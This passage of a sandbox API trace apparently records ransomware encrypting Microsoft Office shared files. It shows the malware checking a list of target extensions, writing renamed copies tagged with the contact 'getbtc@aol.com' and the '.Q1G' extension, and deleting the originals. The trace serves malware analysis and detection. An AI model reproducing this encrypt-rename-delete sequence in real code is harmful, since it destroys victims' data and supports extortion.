lpString2="n.xml") returned -1 [0039.335] lstrlenW (lpString=".pdf") returned 4 [0039.335] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.335] lstrlenW (lpString=".xls") returned 4 [0039.335] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.335] lstrlenW (lpString=".xlsx") returned 5 [0039.335] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0039.335] lstrlenW (lpString=".ppt") returned 4 [0039.335] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0039.335] lstrlenW (lpString=".zip") returned 4 [0039.335] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.335] lstrlenW (lpString=".rar") returned 4 [0039.335] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.335] lstrlenW (lpString=".bz2") returned 4 [0039.336] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.336] lstrlenW (lpString=".7z") returned 3 [0039.336] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0039.336] lstrlenW (lpString=".dbf") returned 4 [0039.336] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0039.336] lstrlenW (lpString=".1cd") returned 4 [0039.336] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml") returned 60 [0039.336] lstrlenW (lpString=".jpg") returned 4 [0039.336] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.336] lstrcmpiW (lpString1=".HTM", lpString2=".Q1G") returned -1 [0039.336] lstrlenW (lpString="README.HTM") returned 10 [0039.336] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0039.703] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=1941) returned 1 [0039.703] CloseHandle (hObject=0x1d0) returned 1 [0039.703] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm")) returned 0x20 [0039.703] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0039.704] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0039.704] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.704] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.704] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0039.704] GetLastError () returned 0x0 [0039.704] ReadFile (in: hFile=0x1d0, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x795, lpOverlapped=0x0) returned 1 [0039.795] WriteFile (in: hFile=0x190, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0x7a0, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x7a0, lpOverlapped=0x0) returned 1 [0039.796] ReadFile (in: hFile=0x1d0, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0039.796] WriteFile (in: hFile=0x190, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0039.796] SetEndOfFile (hFile=0x190) returned 1 [0039.797] CloseHandle (hObject=0x190) returned 1 [0039.797] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.797] SetEndOfFile (hFile=0x1d0) returned 1 [0039.798] CloseHandle (hObject=0x1d0) returned 1 [0039.798] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0039.798] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\readme.htm")) returned 1 [0039.798] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0039.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0039.799] lstrlenW (lpString=".doc") returned 4 [0039.799] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0039.799] lstrlenW (lpString=".docx") returned 5 [0039.799] lstrcmpiW (lpString1=".docx", lpString2="E.HTM") returned -1 [0039.799] lstrlenW (lpString=".pdf") returned 4 [0039.799] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0039.799] lstrlenW (lpString=".xls") returned 4 [0039.799] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0039.799] lstrlenW (lpString=".xlsx") returned 5 [0039.799] lstrcmpiW (lpString1=".xlsx", lpString2="E.HTM") returned -1 [0039.799] lstrlenW (lpString=".ppt") returned 4 [0039.799] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0039.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0039.799] lstrlenW (lpString=".zip") returned 4 [0039.799] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0039.799] lstrlenW (lpString=".rar") returned 4 [0039.799] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0039.799] lstrlenW (lpString=".bz2") returned 4 [0039.799] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0039.799] lstrlenW (lpString=".7z") returned 3 [0039.799] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0039.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0039.799] lstrlenW (lpString=".dbf") returned 4 [0039.799] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0039.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0039.799] lstrlenW (lpString=".1cd") returned 4 [0039.799] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0039.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0039.799] lstrlenW (lpString=".jpg") returned 4 [0039.799] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0039.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0039.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0039.800] lstrlenW (lpString=".doc") returned 4 [0039.800] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0039.800] lstrlenW (lpString=".docx") returned 5 [0039.800] lstrcmpiW (lpString1=".docx", lpString2="E.HTM") returned -1 [0039.800] lstrlenW (lpString=".pdf") returned 4 [0039.800] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0039.800] lstrlenW (lpString=".xls") returned 4 [0039.800] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0039.800] lstrlenW (lpString=".xlsx") returned 5 [0039.800] lstrcmpiW (lpString1=".xlsx", lpString2="E.HTM") returned -1 [0039.800] lstrlenW (lpString=".ppt") returned 4 [0039.800] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0039.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0039.800] lstrlenW (lpString=".zip") returned 4 [0039.800] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0039.800] lstrlenW (lpString=".rar") returned 4 [0039.800] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0039.800] lstrlenW (lpString=".bz2") returned 4 [0039.800] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0039.800] lstrlenW (lpString=".7z") returned 3 [0039.800] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0039.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0039.800] lstrlenW (lpString=".dbf") returned 4 [0039.800] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0039.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0039.800] lstrlenW (lpString=".1cd") returned 4 [0039.800] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0039.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\README.HTM") returned 71 [0039.800] lstrlenW (lpString=".jpg") returned 4 [0039.800] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0039.800] lstrcmpiW (lpString1=".XML", lpString2=".Q1G") returned 1 [0039.801] lstrlenW (lpString="OfficeMUI.XML") returned 13 [0039.801] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0039.804] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=5557) returned 1 [0039.804] CloseHandle (hObject=0x1f0) returned 1 [0039.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml")) returned 0x20 [0039.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0039.804] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0039.815] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.815] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.815] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0039.822] GetLastError () returned 0x0 [0039.822] ReadFile (in: hFile=0x1f0, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x15b5, lpOverlapped=0x0) returned 1 [0039.823] WriteFile (in: hFile=0x1d0, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x15c0, lpOverlapped=0x0) returned 1 [0039.824] ReadFile (in: hFile=0x1f0, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0039.824] WriteFile (in: hFile=0x1d0, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xee, lpOverlapped=0x0) returned 1 [0039.824] SetEndOfFile (hFile=0x1d0) returned 1 [0039.825] CloseHandle (hObject=0x1d0) returned 1 [0039.825] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.825] SetEndOfFile (hFile=0x1f0) returned 1 [0039.827] CloseHandle (hObject=0x1f0) returned 1 [0039.827] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0039.827] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml")) returned 1 [0039.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0039.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0039.827] lstrlenW (lpString=".doc") returned 4 [0039.827] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0039.827] lstrlenW (lpString=".docx") returned 5 [0039.827] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0039.828] lstrlenW (lpString=".pdf") returned 4 [0039.828] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0039.828] lstrlenW (lpString=".xls") returned 4 [0039.828] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0039.828] lstrlenW (lpString=".xlsx") returned 5 [0039.828] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0039.828] lstrlenW (lpString=".ppt") returned 4 [0039.828] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0039.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0039.828] lstrlenW (lpString=".zip") returned 4 [0039.828] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0039.828] lstrlenW (lpString=".rar") returned 4 [0039.828] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0039.828] lstrlenW (lpString=".bz2") returned 4 [0039.828] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0039.828] lstrlenW (lpString=".7z") returned 3 [0039.828] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0039.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0039.828] lstrlenW (lpString=".dbf") returned 4 [0039.828] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0039.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0039.828] lstrlenW (lpString=".1cd") returned 4 [0039.828] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0039.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0039.828] lstrlenW (lpString=".jpg") returned 4 [0039.828] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0039.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0039.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0039.828] lstrlenW (lpString=".doc") returned 4 [0039.828] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0039.828] lstrlenW (lpString=".docx") returned 5 [0039.828] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0039.828] lstrlenW (lpString=".pdf") returned 4 [0039.828] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0039.829] lstrlenW (lpString=".xls") returned 4 [0039.829] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0039.829] lstrlenW (lpString=".xlsx") returned 5 [0039.829] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0039.829] lstrlenW (lpString=".ppt") returned 4 [0039.829] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0039.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0039.829] lstrlenW (lpString=".zip") returned 4 [0039.829] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0039.829] lstrlenW (lpString=".rar") returned 4 [0039.829] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0039.829] lstrlenW (lpString=".bz2") returned 4 [0039.829] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0039.829] lstrlenW (lpString=".7z") returned 3 [0039.829] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0039.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0039.829] lstrlenW (lpString=".dbf") returned 4 [0039.829] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0039.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0039.829] lstrlenW (lpString=".1cd") returned 4 [0039.829] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0039.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0039.829] lstrlenW (lpString=".jpg") returned 4 [0039.829] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0039.829] lstrcmpiW (lpString1=".CHM", lpString2=".Q1G") returned -1 [0039.829] lstrlenW (lpString="PSS10O.CHM") returned 10 [0039.829] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0039.830] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=26929) returned 1 [0039.830] CloseHandle (hObject=0x1f0) returned 1 [0039.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm")) returned 0x20 [0039.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0039.831] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0039.831] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.831] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.831] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0039.832] GetLastError () returned 0x0 [0039.832] ReadFile (in: hFile=0x1f0, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x6931, lpOverlapped=0x0) returned 1 [0039.834] WriteFile (in: hFile=0x1d0, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0x6940, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x6940, lpOverlapped=0x0) returned 1 [0039.835] ReadFile (in: hFile=0x1f0, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0039.835] WriteFile (in: hFile=0x1d0, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0039.835] SetEndOfFile (hFile=0x1d0) returned 1 [0039.835] CloseHandle (hObject=0x1d0) returned 1 [0039.836] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.836] SetEndOfFile (hFile=0x1f0) returned 1 [0039.837] CloseHandle (hObject=0x1f0) returned 1 [0039.837] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0039.837] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm")) returned 1 [0039.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0039.837] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0039.837] lstrlenW (lpString=".doc") returned 4 [0039.837] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0039.837] lstrlenW (lpString=".docx") returned 5 [0039.837] lstrcmpiW (lpString1=".docx", lpString2="O.CHM") returned -1 [0039.837] lstrlenW (lpString=".pdf") returned 4 [0039.837] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0039.837] lstrlenW (lpString=".xls") returned 4 [0039.837] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0039.837] lstrlenW (lpString=".xlsx") returned 5 [0039.838] lstrcmpiW (lpString1=".xlsx", lpString2="O.CHM") returned -1 [0039.838] lstrlenW (lpString=".ppt") returned 4 [0039.838] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0039.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0039.838] lstrlenW (lpString=".zip") returned 4 [0039.838] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0039.838] lstrlenW (lpString=".rar") returned 4 [0039.838] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0039.838] lstrlenW (lpString=".bz2") returned 4 [0039.838] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0039.838] lstrlenW (lpString=".7z") returned 3 [0039.838] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0039.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0039.838] lstrlenW (lpString=".dbf") returned 4 [0039.838] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0039.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0039.838] lstrlenW (lpString=".1cd") returned 4 [0039.838] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0039.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0039.838] lstrlenW (lpString=".jpg") returned 4 [0039.838] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") 